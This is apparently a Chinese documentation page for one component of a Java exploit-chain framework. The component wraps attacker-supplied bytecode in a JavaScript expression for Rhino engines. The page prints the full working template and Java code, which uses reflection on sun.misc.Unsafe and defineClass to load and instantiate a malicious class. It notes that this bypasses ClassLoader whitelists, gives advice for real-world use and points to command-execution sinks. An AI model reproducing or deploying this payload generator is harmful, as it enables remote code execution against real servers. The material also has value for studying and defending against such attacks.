- 类别:common 别名:— 优先级:50
- 作者:yzddmr6、小晨曦
- 依赖:
8 <= jdk(description 标注「在 Rhino 下使用 theUnsafe 实现字节码加载」)
把内层 gadget 产出的 byte[] 字节码,编码为一段 JavaScript 表达式字符串。与 JsConvert 同属「字节码 → JS 表达式」转换环,但字节码加载手法改用 sun.misc.Unsafe.defineClass(...)(而非 defineAnonymousClass),并固定使用 sun.misc.BASE64Decoder 解码,主打 Rhino 引擎兼容。
- 入口
tags:Js_Expr、Expression—— 产物是可被 JS 引擎求值的表达式字符串。 - 衔接
nextTags:BytecodeConvertTag—— 之后接产出原始byte[]字节码的转换环。 excludes:无。
public static String jsTemplate = "var s = '%s';var theUnsafeMethod = java.lang.Class.forName('sun.misc.Unsafe').getDeclaredField('theUnsafe');theUnsafeMethod.setAccessible(true);unsafe = theUnsafeMethod.get(null);var classBytes = java.lang.Class.forName('sun.misc.BASE64Decoder').newInstance().decodeBuffer(s);unsafe.defineClass(null, classBytes, 0, classBytes.length, null, null).newInstance();";
private String getObject(byte[] bytecode) {
String bytecodeB64 = Base64.encodeBase64String((byte[])bytecode);
return String.format(jsTemplate, bytecodeB64);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
return this.getObject((byte[])chain.doCreate(context));
}逐段解释:
invoke→chain.doCreate(context)取内层byte[]字节码,交由getObject。getObject用Base64.encodeBase64String编码字节码后填入jsTemplate。- 模板 JS 执行逻辑:反射取
sun.misc.Unsafe.theUnsafe静态字段(setAccessible(true))得到Unsafe实例;用sun.misc.BASE64Decoder.decodeBuffer(s)把 Base64 字符串解回字节数组classBytes。 - 关键点:调用
unsafe.defineClass(name, b, off, len, loader, protectionDomain)的六参重载——这里name=null、loader=null、protectionDomain=null,即用系统上下文直接定义类,随后newInstance()触发恶意类初始化。 - 与
JsConvert的差异:本类走Unsafe.defineClass(该方法在 JDK 9 后逐步弱化/受限,但 description 声明8 <= jdk且面向 Rhino),且只用BASE64Decoder(不含java.util.Base64回退分支)。
本类无 @Param。字节码内容由下游 nextTags=BytecodeConvertTag 的 gadget 决定。
- 依赖
8 <= jdk,原理要点为「在 Rhino 下使用 theUnsafe 实现字节码加载」。Rhino 与 Nashorn 在语法细节(如反射调用、Class.forName行为)上有差异,本模板针对 Rhino 环境编写。 Unsafe.defineClass属于 Unsafe 系加载,绕过 ClassLoader 白名单;但该 API 在高版本 JDK 中被移除或限制,实战需结合目标 JDK 与引擎实际验证。- 由 yzddmr6、小晨曦贡献,是对
JsConvert加载手法的变体补充。
自由构件,未直接出现在预设链(usedInChains 为空)。可在需要 JS 表达式载体的自定义链中替换 JsConvert 使用。
- 下游(
nextTags=BytecodeConvertTag):BytecodeConvert → Exec 等。 - 同族转换环:JsConvert、JsConver3。
- JS 命令执行 sink:JsExec。